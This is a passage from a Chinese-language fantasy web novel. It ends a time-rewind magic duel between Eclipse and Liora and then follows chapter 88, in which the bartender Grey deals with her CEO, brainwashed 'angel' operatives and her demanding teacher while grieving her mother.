“…你以为你真的绝对能阻止我?”利奥拉迅速恢复了冷静,她面无表情,站在黑夜的半空中,只有双眼中的红点在亮着,死死地盯着艾克里普,“时间回溯之后你还活着就是个奇迹了,我们的起点是一样的,规避风险的行动不该影响到目标本身,艾克里普,你阻止不了我的。” “那就来试试看吧。”艾克里普笑了。 时间回溯魔法规则生效,契约信息记录,信息冲突,目的冲突,权利义务冲突。 “原来是这样,不需要脑子去思考就是方便啊。”利奥拉面无表情地说着,笑了起来,“那就是到了抬价阶段了,这方面我可不会输的,不要小看我的决心和我们的羁绊啊!!!” “我,我也绝不会输的!!!”艾克里普坚定地说。 魔力清算中,根据契约规则,此次计量将为个体总计量。 “你能多次使用时间回溯魔法是因为阿贝尔图腾的等量交换机制,但是,那是会有损耗的!”艾克里普说,“我不会输的!” “损耗这种东西一开始就算在里面了啦!”利奥拉大笑着说。 魔力清算完毕,条约授予。 刹那间,一切陷入了静止,时间回溯魔法那从另一个维度而来的洪流冲刷了一切,在那洪水滔滔之上,只有艾克里普与利奥拉站在那里。 义务与限制签订中,停止,有新的计量加入,魔力清算重新开始。 “…什么?”利奥拉不明所以,“事到如今还要有新的角色出现吗?” “谁还能理解时间回溯魔法?”艾克里普也不知道发生了什么,但是转眼间,权重就朝她这里倾倒了下来。 “凭什么啊?!”利奥拉勃然大怒,“难不成是奇迹?什么啊这种不讲理的东西为什么要打扰这种重要的时刻啊?!我可是不会放弃的,我可不承认——” “你当然不会放弃,你一直都这样。”一个少年的声音出现在了二人的中间,毫无疑问,她就是中途插入其中的那一位。 这是一位打扮相当奇幻的少年,她白发红眼尖耳朵,身后还有一副赤红色的蝙蝠翅膀,这毫无疑问是典型的吸血鬼造型,再加上她身上那改版并加入了过多元素的手术服,整个人就像突然插入故事中的一副插画一般突兀。 但,二人都认出了她的存在。 那是安静的,赤红的,温暖的,沉默的,位于神脉医院地下的那一片无波血湖。是阿贝尔家族跨越两个世纪隐藏的夙愿,是一切的起源。 “您,您是。”艾克里普认出了少年的形象,“爱丽丝?” 除去那些过于花哨的服装之外,少年的样貌特征与艾克里普见过的那张来自神脉医院孤儿院顶层阁楼中找到的照片上,那个被父母夹在中间的孩子一模一样。 “还是不要那样叫我了,夏娃说爱丽丝会生气。”少女顿了顿,微笑着自我介绍,“就叫我RP好了,你们不是一直都这样称呼我的吗?” RP,一切与血湖相关的实验的项目编号。 “夏娃是指那位研究员伊提吗?”艾克里普感到不可思议,“她还活着吗?” “不再活着了,她很努力,但她寿命到了。”RP摇了摇头,看向了利奥拉,“你也本该如此的。” 艾克里普这才发现利奥拉居然反常地安静。 RP走向站在原地不动,一直看着她的利奥拉,她比那红发白衣的青年矮许多,但利奥拉低头看她,却突然退后了一步。 “h37,或者e70,你一直都是这样的,能抓住一点可能性就不会放开,你捡到阿贝尔家的图腾时,一觉醒来发现自己脑子里发现了许多记忆时,你就不可能放弃这一切了。”RP抬头看着利奥拉,声音里带着平静的宽容。 “这个时候要说这个吗?”利奥拉扯了扯嘴角,声音很轻。 “只有现在能说,只有我能说。”RP认真地说,“因为你说过,你要抛弃过去,视我为你的母亲。我花了很长一段时间来理解这是什么意思,那孩子来找我时,我因为对自我的思考犹豫了一段时间,但好在,一切还不算迟。” 利奥拉张了张嘴,没有说话,只是又后退了一步。 “我不认可你忽视人类生命和未来可能性的做法,利奥拉。”RP抓住了利奥拉没有提着金属棍的另一只手,她的指甲很尖,几乎扎进了利奥拉的手掌里,“但是我认可你给自己取的新名字,也认可你的热情和努力。” “…这些,对我而言有什么意义呢?”利奥拉轻声问道,“您应该在100年前来纠正这些的,现在已经太迟了,我不会放弃的,只要世界上还有血湖存在,我就会存在。” “有意义的,因为我也是这样!就像夏娃说的那样,我们应该追求长久的健康。”RP笑了,像利奥拉一样真诚又热情,“只要你出现我就去找你,然后把你带回来!我想,这就是一个母亲该做的事情。夏娃也是这样做的。” “…哈——”利奥拉深深地叹了口气,她的肩膀垮了下去,布条垂落飘动。 “现在,向她道歉。”RP指了指艾克里普说。 “什么?!”利奥拉瞬间不满了起来,“我为什么非得——” RP飞起来强行摁着利奥拉的头走向艾克里普。 “人家和朋友本来好端端地过日子呢,你非得过去抢人家的朋友。”RP认真地说,“赶紧道歉!” 艾克里普看着利奥拉被强行摁着低垂着的脑袋,看了眼阿尔卡纳,又看了眼那根金属棍。 “…我道歉,我道歉啦!”利奥拉看了眼艾克里普,不满地说,“对不起。” “不要这样说,要发自真心地道歉!”RP说,“重新来!” “抱歉,我强迫你的朋友来我身边。”利奥拉头也不抬地说。 “…嗯嗯。”艾克里普忍住没有笑出来,“下次交朋友的话,要从一开始就真诚地对待对方哦,不要再端着架子突然出现了。” “你不也是这么干的吗?诶——”利奥拉被RP拍了脑袋,声音小了些,她看着艾克里普,“不过,你这次也要消失了吧。” 艾克里普不使用阿贝尔图腾,那么,她就没有可以代为付出代价的魔力资源。艾克里普明白这一点,也明白利奥拉想要看到的是她的懊悔和不甘心。 “可是,那是一段非常开心的日子。”艾克里普笑着从袖子里摸出了相机和录像带,“如果可以的话真想让你也看看这些,我们那时真的非常开心!” “炫耀吗?”利奥拉不满地说,“我也有朋友的!” “有吗?”RP好奇地问。 “…阿尔卡纳!”利奥拉摸出了金属棍。 “我在。”阿尔卡纳回应道。 “阿尔卡纳,我们是朋友吗?”利奥拉紧张地问道。 “抱歉,我听不明白您在说什么。”电子音一如既往地坦诚。 “离智械觉醒还有一段时间呢。”RP点头,“慢慢来吧。” “…算了。”利奥拉收起了金属棍。 义务与限制签订中,契约签订完毕,魔力支付中—— 一直以来构成艾克里普这个整体的魔力被飞速消耗,用以支付魔力回溯的代价。 RP压着利奥拉鞠躬,二人的身影很快就消失在了这个魔力空间中。 利奥拉回到了现实世界之中,她双脚着地,废墟尘土和大雨打湿了她的衣服和头发,夜晚黑而冷,人类到处都是,RP不在这里,那座高高的,和阿尔卡纳长的有点像的柱子也不在这里了。但是她知道,不久之后大洪水会倾泻,一切会回到以前。 一切又要从头开始了,利奥拉这样想着,但她为之失望的却是另一件事。 “这次会回溯多久呢?”利奥拉喃喃自语,“失败了啊。” “失败了呢。”有乐千实笑着说,她站在废墟之中,不为即将发生变化的世界所动,一如既往。 “你倒是真的回来了,千实。”利奥拉对于对方的笑容有些不满,又有些心虚地低下了头,“抱歉,我说好了要让你看到不可思议的未来的。” “失败了呢。”有乐千实耸了耸肩。 “…你不生气吗?”利奥拉抬头看有乐千实。 “我说过了,无论你结果如何,我都会站在你身边看着的。”有乐千实平静地说。 “…千实,你实话告诉我,我们是不是朋友?”利奥拉双手搭在有乐千实的肩膀上问道,但在问出口的那一刹那,她的眼泪落了下来。 雨将她打湿的头发贴在那张表情固执的脸上,利奥拉知道,这个答案很快就要变得没有意义了,但她想起了艾克里普的笑容,她好奇那个笑容出现的原因。 “你哭什么啊?”有乐千实吓了一跳,“我还是第一次看到你哭,你知道你多大了吗?” “…是不是?”利奥拉重复问道。 “是。”有乐千实回答道,忍不住往后退了一步,“你问这个干什么啊,怪恶心的。” “…谢谢你,愿意当我的朋友。”利奥拉笑着说。 魔力的支付还在继续,艾克里普感受到时间和魔力的消逝,那并不是什么痛苦的感觉,只是和犯困一样。她从来没有过这样的体验,不禁感受到了些许新奇。 但是阿尔卡纳是感受过的吧,艾克里普看着她心想,拿出了自己收集到的宝物开始看。 一台照相机,一张录像带,以及,一枚上面写着“一条命”的,被她从那个夜晚以来一直好好地收起来的硬币。 检测到魔力代偿物。 硬币被一只无法用语言描述的手缓缓捏起,打量,自信地闪闪发光。 特性检测完成,目标特性为:被剩下的,作用成功,义务与限制变动。 艾克里普看见了那一闪而过的光。 契约履行完毕。 2005年,11月28日,星期一。 “艾克里普,你有交到朋友吗?”夜藤飞鸟担心地问道,“老是待在事务所里看书可不行啊。” 这是最普通不过的一天。 艾克里普坐在餐桌的一边,接过夜藤流云递过来的茶杯,是温暖的,已经不烫了。 “还没有。”艾克里普低头看了眼杯中的绿茶,再次抬头,“我马上就去!” 88.间奏-格雷伊的酒馆 偶尔,西部市区一个街角处,桥下那家没牌子的酒馆会亮灯,虽然无人知晓其中是否正在营业,但基本上也没人真的会推门进去询问。 一来酒馆没挂牌子就大概率说明了其还未准备好开门迎客,二来,酒馆门外没有任何的菜单或者路牌指引,也没有在网络上留下信息,根本没有人能看出这居然是个酒馆。或许多年前这里还由其它人营业的时候尚且还欢迎外人尝试,但现在它的拒绝之意溢出了门外。 但这家店还是有顾客的,多是些老客,或者是店长认识的人。店长是格雷伊,她知道这里的客人多数不是她擅长打交道的存在,但来者是客,客人总归不该被莫名拒之门外。她作为这里唯一的店员既然选择开门,那就得为客人的体验负起责任来。 而且,我调酒的技术还不错,格雷伊这样相信着。 “调酒师的职责是倾听吧,其次是记住配方。”说出这句话的人是格雷伊的上司,也就是Evo的CEO亚贝琉湛。 格雷伊根本想不通这个人为什么能空出时间跑来这里坐着,早上的时候园区内的停机坪外有工作人员在,她亲眼看见飞机带着谁离开了这座城市。 但在酒馆,时间并没有意义。天黑后会有客人到来,去考虑客人所在的,所拥有的时间也是一件毫无意义的事情。直到酒馆关门之前,这处空间内有任何存在出现都不奇怪。 这或许是酒精在起作用吧,一切语言和思想都可以出现,不需要逻辑,酒馆关门后也不会留下什么,毕竟格雷伊一次能扛三个大垃圾袋。 “您的长岛冰茶。”格雷伊将盛满茶色高浓度酒精鸡尾酒的圆柱形玻璃杯推向前方,并附上两张方形餐巾纸。 她没有回答湛说的话。这几年这个人不再与普通人打交道,可能是因为这个原因她的语言系统出现了异化吧,格雷伊偶尔会听不懂她的老板在说些什么东西。 比如说现在。 “明明现在没有禁酒令了,却还要用这个名字来称呼这位吗?”湛的语气像是在缅怀一位逝去的无名友人,“我若是触摸它,那脆弱的温度维持物顷刻间就会失去其该有的模样吧。” 事实如此,格雷伊知道湛掌心的温度足够用来加热凉掉了的咖啡。 那你为什么要点这个啊,格雷伊心里这样想着,但嘴上当然是什么也没说的,她伸手取回那个玻璃杯将其整个放进热带鸡尾酒用的不锈钢圆肚杯中,并重新放了回去。 “长岛冰茶常温版,请用。”格雷伊说道。 “你竟敢敷衍大人的要求!”有人替长岛冰茶的容器发声了,此人的名字,不,不如说代号名叫贝克勒尔,她不知何时就推门而入并自然而然地站在了湛的后侧方,似乎是想等她自己发现后面多了一个人一样一言不发。 老板绝对知道后面有人站着,格雷伊忍住没有说出来这一点。 在湛还勉强会说普通人能听懂的语句的时候,她是会主动配合这群用科学研究者的名字们作为代号的手下的一些小动作的,例如这种“猜猜我是谁被动版本”,又例如在贝克勒尔说出这句话之后,湛会回头与对方交谈,无论什么都好,贝克勒尔会非常开心的。 而湛似乎也享受作为这种奇妙的洗脑型关系的上位者,偶尔乐在其中。 但湛没有反应,她一动不动,笑容像是刻在脸上一般。难道是因为她的语言系统真的坏掉了吗?格雷伊不禁怀疑道,时间真的会改变一个人这么多吗? 如果没有人开口说话的话,这个职责就轮到调酒师履行了。 “…嗯嗯。”格雷伊小声应了两句。 “我绝对会调查你的任务记录的。”贝克勒尔非常不满地威胁道,“整天浑水摸鱼也就算了,私下也是这幅态度,无论是什么职位你都一点职业素养都没有啊!” 就格雷伊对此人的了解,她说出“浑水摸鱼也就算了”的原因大概是她本人也在浑水摸鱼。 “贝克勒尔。”湛温和地呼喊道。 “是的大人!确实是我!”贝克勒尔非常欣喜自己终于被发现了,浮夸地绕了一圈之后跑到了湛的左手边,等待对方说些什么。 看着她刻意瞪大眼睛展示那双四个颜色的瞳孔,格雷伊想叹气又不敢。 她知道,湛说的那句“这双眼很适合你”大概率只是某种观后感,与她在城市剧场看完新剧之后随便留下的一句“还不错”没什么差别。可贝克勒尔不该像那些剧本家或编剧一样真的以为自己能凭这句话获得些什么东西。 几年前的湛或许会这样做,但现在不会了。 果不其然,湛只是笑了笑,她呼唤名字的唯一目的就是让贝克勒尔停止之前的话题。说到浑水摸鱼湛才是真正精于此道的那位,说到底格雷伊还是想知道她为什么现在能出现在这里。 但贝克勒尔也并没有什么失落的反应,她就这样站在那里,似乎就这样就足够了。 通常来说站在这个位置的人是代号为伦琴的一个特殊的手下,她因为天赋特殊而无法胜任常规工作,湛会让她替自己整理些文件或处理一些琐事,好有理由给她发工资不至于没饭吃。伦琴有天生的超忆症和小儿麻痹,在更替了大脑之后依旧很难独自完成天使的任务。 不过文书任务倒是她擅长的部分,那个说话有些慢的人是格雷伊在天使这个异常的团体中为数不多可以聊起来的对象,虽然对方也是一副将湛视作为至高无上的存在的样子。 这些天使全都是这幅态度,因为湛的左眼眼眶里存在的并非人类眼球,而是阿贝尔家族代代侍奉的水蛭图腾。以水蛭图腾的产物,血湖,为基础素材进行更替手术的天使们,自然而然地会将湛视作至高无上的存在,湛也有强行命令她们的能力。 但是在几年前,前一代居里因为一些原因死去之后,她就几乎不使用图腾的命令能力了。 真是莫名其妙,格雷伊想,内心对她们之间的关系性毫不在意。她并未注射生长激素,所以实际年龄就是她的外表年龄,在这样的情况下她看那些天使就像看一群拿着枪的孩子,看湛就像看命令孩子开枪射击群众的洗脑者。 天使确实被洗过脑,格雷伊没有接受那种对记忆的清洗,从而能知晓并记住她目睹的所有东西。但这样也并未对她造成太多道德层面上的拷打,她本就是在这个环境中长大的,并未接受过社会常规教育,只有乐千实偶尔会说几句听上去很让人生气的话去训诫她。 格雷伊认为自己并非会因为接受常规教育就社会化,她终究是博蒙的孩子,是阿贝尔家族的后裔,在某些方面与常人是有所不同的。但她偶尔也觉得自己这样的想法是受了老师有乐千实的影响,那是一位莫名其妙就极端自信的存在。 湛用指尖敲了敲那圆肚杯带着冰水的外层,看上去并没有品酒的打算,格雷伊知道这个人不会喝这种调制的鸡尾酒。 “格雷伊,你对我有所不满。”她微笑着说,这次的内容倒是清晰明了,“如在回忆之地的米蒂尔,你对所有人都有所不满,拉德告诉我他和你交流时你拒绝回答他的问题,为什么?” 于是话题就扯回了格雷伊白日里的那份工作,她一瞬间就从酒馆老板变回了人人可以踩一脚的老员工,而且湛的提问她确实无法忽视,但这也是问题所在。 格雷伊从倒挂的酒杯后方看向湛,确信对方知道自己为何拒绝与拉德交流,因为格雷伊觉得他实在是可怜又可笑,于是他说出的每一句话,格雷伊都没办法真的去思考答案。而是抱着一种“这个人怎么说的出这种话来?”的心态看向那个自接受更新手术之后就彻底与自己的过去说再见了的天使。 湛把双手托起下巴,等待格雷伊开口说话,贝克勒尔也看了过来,为与湛做着同一种行为而感到满意。 “…我没话可以和他说,听你的就行。”格雷伊不得不回答道。 “你绝对在看不起我们吧。”贝克勒尔嗤笑了一声,“看着一副可怜的样子,内心不知道有多傲慢呢,格雷伊,我可是知道你在想什么的。” 是的,贝克勒尔十分乐衷于学习湛的思考方式与说话方式,自然有所收获。 “哦哦。”格雷伊并不打算回应这一位。 “真是头疼,你小时候可不是这幅不坦率的样子的,时光真是何等恐怖的存在。”湛皱眉说。 “要,要我帮您按摩一下吗?”贝克勒尔紧张地询问。 “这倒不必。”湛头疼于贝克勒尔听不懂她的言外之意。 “都怪你啊!”被拒绝的贝克勒尔也不失落,直接看向格雷伊,“我都记着的。” 格雷伊只是觉得想笑,若是有乐千实出现在这里的话定是会笑出来的,她都可以想象这位说话专挑别人不想听的说的老师会用什么言辞来讥讽她们了。 “无法放弃弱者怀柔心态的人只能这样抱团取暖吗?”大概就是这样吧。 “这种时候心不在焉可不好。”湛笑着说,“在想你的老师会怎么说我们?” “抱歉请放过我。”格雷伊迅速就承认了错误,“下次拉德说话我会回复的,至少会回复一个‘收到’吧,我做事也会提前和他说一声的。” “我记着了。”贝克勒尔点头,自顾自揽下了这个活。 早知道今天就不开门了,格雷伊内心煎熬地这样想着,这个人到底为什么会出现在这里? “因为她接受了我百忙之中抽不出空出行不得不拜托她的委托啊,格雷伊。”湛微笑着说。 “…我就知道。”格雷伊接受了这个回答。 不知是因为责任感,还是为了彰显自己的能力,有乐千实作为天使的战斗行为和能力适配指导教练通常会接受任何额外出现的事务。她大概是这个公司最忙的一个人了吧,格雷伊心想。 “那我们明天还要去训练吗?”贝克勒尔问道,“最近那些移动靶速度好像变快了耶。” “老师说了,以后每个人都匹配自己的进度进行训练。”格雷伊说。 “…不愧是教练。”贝克勒尔的面色几经变化,最后只是这样说道。 湛没有说话,似乎是在想什么一般沉默不语,她不说些什么的时候总是暗藏深意的,可能是等别人开口,或者等什么事发生。格雷伊知道自己的老师会称她这样的行为是在故弄玄虚,她也这样认为,但她又没办法像有乐千实那样置之不顾。 “要点吃的吗?”格雷伊小声地打扰道。 “有什么?”贝克勒尔迅速询问。 “小食拼盘。”格雷伊指了指菜单上唯一的选项。 “这个我知道的,就是把速冻食品扔进空气炸锅而已吧,真是没建设性。”贝克勒尔说。 “吃不吃?”格雷伊问。 “要一份!”贝克勒尔点头下单。 于是格雷伊终于可以名正言顺地离开了,她回来时,湛已经离开了,这不由得令她松了口气。 “你怎么还在啊?”格雷伊问坐下了抱着那杯没动过的长岛冰茶喝的贝克勒尔。 “上菜吧,少管客人闲事。”贝克勒尔说。 老板不在,时间终于可以正常流逝了,格雷伊发自真心地希望自己能遇到一些更好说话的客人,而不是会过问她工作问题的同事。 “威士忌干饮。”绝对不好说话的客人开口下单。 “一样。”看上去加班了很多天的客人说道。 格雷伊按需带着两枚圆矮酒杯前往二人所在的非禁烟区座位,冰球浮动在金色的酒液和灯光之中,气氛昏沉,那两个人也不说话,点头致意,碟子上的干果一点没动。 可怕,可怕的成年人,格雷伊带着这样的想法缩回了吧台后面。 但实际上那两个人格雷伊是认识的,认识和觉得对方可怕并不冲突。苍伊沙和一二七是白夜社中两个家族的二把手,格雷伊不负责处理这方面事务,只是知道她们的长相而已。 “你怎么发现这里的?”一二七开口问道,从西装内袋里掏出烟盒,单手起开后拿出的是雪茄烟卷。 “喜欢流浪的朋友推荐的。”苍伊沙说着,点起了一根普通香烟。 “不错。”一二七简短评价。 “自然。”苍伊沙呼出烟团。 “前天带回来的那几个人呢?”一二七问。 “老样子。”苍伊沙说,“结束了。” “那运输队那边的回应就由我们自己定了。”一二七说。 “…可以。”苍伊沙点头。 格雷伊轻轻地缩进了厨房里面,没有继续被迫听见那两人的悄悄话。那些人谈起工作起来简直顺理成章理所当然,让她不得不联想起自己那糟糕的同事们。她对这样的事情并不感兴趣,就像之前说的,对这些人的管理并不在她的任务范围内,她也从来没有主动接取过。 反倒是库伦那两人非常热衷于接取这些任务,格雷伊一直觉得这俩人将任务视作为游戏的做法非常幼稚,也是不理解所作所为真正含义的表现。 若是将那两个人的谈话与库伦的谈话放在一起对比的话,格雷伊就会感受到巨大的差异。但这种差异感在她经营酒馆的这几年来没少感受到过,大多数情况下她并不会多在意。 这次也一样,格雷伊心想,那些人说的话与我无关,做的事也与我无关,谈论的内容更是与我无关。 越是这样想,她的心中就越是平静,甚至能做到无视脑海中的一些影子了。 好了,就这样吧,格雷伊深吸一口气,离开了厨房回到吧台处。 那里坐着一位不知何时新来的客人,穿着风衣戴着顶布帽,整个人散发着酒气,应该是来这里之前就喝过了。 “干邑白兰地不加冰。”她下单的声音倒是清醒的。 格雷伊推过去一个高脚杯,没说什么。 “你们这酒馆怎么一直不买个音响什么的。”客人倒是有话可聊,“酒馆怎么能没有伴奏呢?不过看你们最近不怎么开门,是打算换个业务了吗?” “咦?”格雷伊愣了愣,“您是以前来过的客人吗?” “很久以前了。”客人笑了笑,“那时候我喝酒还是加冰的。” “哈哈,那确实是很久以前了。”格雷伊有些欣喜于能遇到以前的老客户,“我的母亲不在了,最近只有我偶尔会在下班后营业这里,就没有注意到一些东西。” “啊,这样啊,你都这个年纪了。”客人意识到自己提及了伤心事,摸了摸鼻子,“抱歉,你下班后还有空来这里,真是不容易。” “没有的事。”格雷伊笑了,“能遇到您也算是我经营这里有了收获。” “这话说的我都有些不好意思了。”完全没有不好意思的客人爽朗地笑了,“这样想来你就是当年那个小孩子了?你的名字是什么来着?” “…格雷伊。”格雷伊沉默了片刻之后说,“叫我格雷伊就好,客人。” “哦,格雷伊。”客人笑着点了点头,“真高兴能看到这里的灯再亮起来,也能看到长大之后的你。” 格雷伊没有说话,她想到关于“长大”之前的事情,一时有些沉默。 “看来是我又多嘴了。”客人叹了口气,但很快她似乎想起了什么,开始从自己的风衣口袋里四处翻找,她的风衣里外有多个口袋,每个口袋里面都有东西。最后,她摸出的是自己的手机。 “你看!”她展示碎裂的屏幕,双指放大一张像素不高的照片,那是一张在酒馆的合照。照片中的三人都非常年轻,除了一个面色淡漠的,其它两个都笑着看向镜头,一想到其中一个人可能是眼前这个浑身酒气的人格雷伊就感到不可置信。但很快她注意到照片的角落里的一个存在,不可思议地凑近了屏幕。 那是靠在吧台看书的博蒙,和正在试图玩她的头发的,只有三四岁大的格雷伊。 “这个孩子绝对是你!”客人笑着介绍说,酒气混合着得意,“我记得,那个时候你的父亲正在厨房,我们拍了照片之后才发现不小心把你们也拍进去了。” 格雷伊看着那模糊的一角,久久沉默不语,那已经是久远到她本身都无法记起的过去了,她曾尝试把很多珍贵的东西藏起来,可那时的她连决定自己叫什么都做不到了。 “诶,诶,别哭呀。”客人手忙脚乱地递来餐巾纸,“我回去把这个角落打印出来给你。” “…谢谢,谢谢您。”格雷伊擦了擦眼泪,但却越流越多。她自己都不明白自己流泪的理由,她确实思念自己的母亲,思念博蒙,但她却明白,自己的眼泪并非是因为她们而流下的。 那是为什么呢?格雷伊不明白,却没办法从悲伤中缓过神来。 “…不用道谢的。”客人叹了口气,白兰地特有的花果香气混合酒精扑面而来,夹杂着些许二手烟的气息。 周围的一切如此普通,与格雷伊所知的自我完全割裂开来,她放下手机,放下了那一角,却还是在流泪。为什么呢?她自己也不知道了。 几天后格雷伊收到了那一角照片,她常常拿出来看,哪怕是在吧台站着的时候。自那次起她便常常回忆起自己母亲的声音和动作,那为数不多的几个回忆片段在她的脑海里翻来覆去地翻涌,声音近乎映照在眼皮上,睁眼也能看见。 “你最近心不在焉。”酒吧吧台前的客人发出了声音。 客人是有乐千实,她一直以来的老师,她的问题格雷伊无法回避。有人会觉得老师相处久了会变成家人,变得能互相了解并且能说些真心话,可格雷伊从来不敢这么想。 “抱歉,最近我在想一些事情。”格雷伊轻声说,这是不想说自己在想什么的委婉说辞,可她的老师不会体恤十岁时的她,自然也不会体恤现在的她。 “什么事情?”有乐千实毫不犹豫地问了。 “…关于我母亲的事情。”格雷伊如实说了。 “四岁前的孩童保留的记忆是极其有限的,你就只是为了这一点东西想了这么长时间?”有乐千实毫不留情地否决了格雷伊的思绪,“这是弱小的体现,你必须变得更强,而不是停留于过去。” “…是的。”格雷伊应道,她站在吧台后面,却又觉得自己和站在训练室没什么两样,熟悉的环境没有为她提供丝毫的庇护,因为有乐千实的攻击性无视任何条件。 所以她才没办法和她姐姐搞好关系啊,格雷伊在心中嘲笑道。 格雷伊知道,她的老师与有乐千奈是极其相似又极其不同的两个人,差距比她的母亲与博蒙更大一些。二人都信奉实力至上,绝不会为弱小的存在停留半步。 有乐千奈为她的孩子铺设她认为好的前路,有乐千实也同样为格雷伊准备好了她认为最好的未来。两者是不相同的道路,但格雷伊却能感同身受有乐羽生的烦恼,从而期待有能与对方真正相见,交谈的一天。 但是不同的点也在于此,格雷伊对有乐千奈算不上熟悉,但也知道对方最看重的存在除了自己的家族以外就是利益。但有乐千实追逐的却是某种虚无缥缈的存在,她非常务实的同时却又毫不犹豫地脚踏虚空向前走。 按理来说这样的人迟早要跌个大跟头的,但不知是谁一直在支持保护有乐千实,她那过于磅礴的自我意识至今还找不到一枚可以扎破的针去冲撞。 “你明白就好。”有乐千实满意于格雷伊的识时务,“沉溺于过去的人会变得软弱,软弱的人没有能力在这个世界生存下去,你有天赋,不要让过去埋没了你。” “我知道的,老师。”格雷伊答应道,心中却止不住地想到底是谁能来打击一下这个过于自我中心的人,好让她在宣传自己的脑内思想的时候收敛一点。< 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“你自己也知道自己不会收到回复了,格雷伊。”有乐千实说,“你这样的做法只是在逃避自己软弱的一面而已,你还是在想着过去的事情,没有丝毫的成长。” 格雷伊没有说话,她以为自己习惯了老师这样的说话方式,但每次听到还是会忍不住地感到生气与哀伤。 生气于对方擅自干涉她自己的事情并下定论,哀伤对方说的是事实。 “…这件事不会影响到我,老师。”格雷伊低着头说。 “不,过去是会影响人的,尤其是没能放下的,也放不下的过去。”有乐千实说。 这不是说的很清楚自己又做不到吗?格雷伊心里想笑。 “即使这样我也可以做到我该做的,老师。”格雷伊看向有乐千实,“这件事无关紧要,偶尔提起也没关系的吧?” “…你还是太年轻了。”有乐千实说。 “是吗?”格雷伊04年出生,确实算得上是年轻的。 “时间会给你成长的机会,也会给你放下一些东西的契机,你要学会抓住,格雷伊。”有乐千实看着格雷伊说,“放任机会溜走是弱者才会做的事情。” 那你呢?格雷伊忍不住想问。 “我明白的,老师。”格雷伊说,“这么多年来我确实变得强大了许多,都是因为听从你的意见,这是毋庸置疑的。” “当然。”有乐千实理所当然地点头,“你还会变得更加强大的,只要你能学会与过去断开联系,你的未来能走的很远。” “只有这件事,您给不了我意见。”格雷伊摇了摇头,“每家都有自己的情况,您不了解,就请不要再继续过问了。每个人都有自己的家务事要解决不是吗?” 说完这句话之后格雷伊的火气就消了,还有点后怕,抬头,却发现有乐千实只是淡然地看着自己,似乎并没有因为她所说的话感到不满。 “这也是自然的。”有乐千实说。 “…要喝一杯什么吗?我请客。”格雷伊心虚地笑了,但她也知道有乐千实不喝酒。 “无糖气泡水,加两个青柠。”有乐千实说。 在博蒙死去后的一段时间里,格雷伊都会在酒馆待着,直到不得不出门。酒馆也不营业,灯亮着但是门锁着,没人进得去。 不知情人不会上门打扰,知情人无人在意她的想法,于是那个酒馆很久都没有迎来新的顾客。格雷伊没有再调酒,她并不喜欢喝酒,她只是喜欢站在那里,等待有人推门而入而已。 但不知为何,以往她的客人们多数是来找她说话的,其余的多数与她无话可说,并没有出现预想中的那种客人喝醉酒后絮絮叨叨,她在吧台后面倾听的情况。 这似乎也不重要了,因为这个位置是格雷伊给她设想中的未来中的博蒙准备的,现在对方不复存在,这个吧台便也没有了可以继承的人。 格雷伊忽然想到,博蒙不喜欢倾听,她大概是不会喜欢这个位置的。有乐千实说的是对的,她所做的一切没有意义,只是她自己一厢情愿地回避走向未来的选项,那过去的一切确实缠住了她的脚让她驻足不前。 可这样又如何呢?格雷伊想不出来一个自己继续待在这里,待在Evo这个以公司为掩护的杀人集团中,甚至待在这个社会中的理由了,前进的话她得不到自己想要的任何东西,那为何要前进呢? 格雷伊想不出来,她磨蹭着那模糊的一角照片,甚至没有在流泪。 因为她真的见证博蒙死去的那一瞬间,也是没有什么特殊的感受的,甚至没有当初她急着去神脉医院时的路上的焦急深刻。她什么都感受不到,也没有想要感受的东西了。 我大概从很早以前开始就没那么在乎她了吧,格雷伊心想,为自己曾经那些明知道结果还要做样子的行为发笑。博蒙没有留给格雷伊任何东西,财产也好,魔法道具也好,遗嘱也好,甚至,一句想说的话也好。 所以她也是不在乎我的,格雷伊了悟。博蒙一定是连死前都在想着和她摆脱关系,不,按照她的思维逻辑,死前八成想的是阿贝尔家族的事情。 而格雷伊与博蒙的缘分,在她的母亲被送入手术室的那天起就彻底了断了。之后的一切,信息也好这栋酒馆也好她的坚持也好,全都是没有意义的东西。 丢掉也无所谓,但丢掉之后,也不会获得新的东西了。 门被踢开了,是拉德来找人,格雷伊摸出手机,果然是因为没电而关机了。 “教练说如果找不到你就来这里,果然。”拉德说道,他的上半身还缠着绷带,似乎是在之前的任务中受了伤,却因为之后的任务而有机会苟延残喘。 可不久后他就会死了,甚至是自愿的,格雷伊没有动作,心中充满了嘲笑的念头。 “行动起来。”拉德皱眉看向一动不动的格雷伊,“不要忘记教练说的话,她是你的老师,应该提前和你说过这种情况下该怎么做。” 怎么做?格雷伊依旧不动,思绪飘向过去。 是“不要沉溺于过去”还是“不要错过机会”?还是说是那句“与过去断开联系”? 格雷伊笑了,她发现自己能想起来的全是些送她去死的话。 “…我们没办法理解你。”拉德俯视格雷伊,被遮住的左半边身体带着冷意,“你有你自己的情况,你自己处理好,不要干扰到任务。” “当然没办法,你们这群天使,恐怕从未作为人类真正地活过吧。”格雷伊低声笑了。 拉德没有说话,他只是站在那里,神色没什么变化。 “你们当然没办法理解我的,你们没有家人,只是整天被老板支配着一切,从头到脚,甚至是思维,你们的行动并非出于本心,而是命令的后果。”格雷伊丝毫不在乎会发生什么,“你们是武器,是道具,是天使是杀人犯,我是人,我是人啊!” “你还想说什么?”拉德无动于衷,他一贯如此。 “…我想说什么?”格雷伊忽然就有了想说的东西,“你知道吗?拉德,你有个弟弟。” “我没有亲人,你自己说的。”拉德面色没有变动,“曾经或许有过,但那些事在我得到更新之后就被我抛之脑后了,我不再受过去的苦,只作为天使拉德存在。” “抛弃过去?”格雷伊感到荒谬,这些天使是因为手术而被动抛弃过去的,并非是发自真心地这样做,也就是说,这些人根本就不理解抛弃过去所代表的是什么,甚至她怀疑这句话是拉德从湛那里听到之后学来的某句戏剧台词。 “你也该如此,格雷伊。”拉德点头,“即使过往的道路不同,但你也是天使的一员,你不该受困于过去,去经受一个普通人的苦难。” 拉德难得劝说别人,认为自己仁至义尽了。 “她是这样告诉你的?”格雷伊说的是湛。 “老板说的话我都记得。”拉德点头。 “哈哈哈——”格雷伊忽然就放声大笑,“她才是最走不出来的那个,她永远走不出来了!因为她才是那个普通人!她是从什么时候意识到这件事的?她的父母被杀死的时候?那个天使因为她的命令死掉的时候?还是她让你的弟弟去死——” 金属声如雷鸣般轰鸣于酒馆内,拉德左臂挥出,吧台一分为二。 “慎言,即使你也是我们的一员,你也没有资格议论那位大人的过去。”拉德脸色阴沉地警告道。 格雷伊还是没有动,她还在笑,趴在一半的吧台上呼吸缭乱,好一会才缓过来。 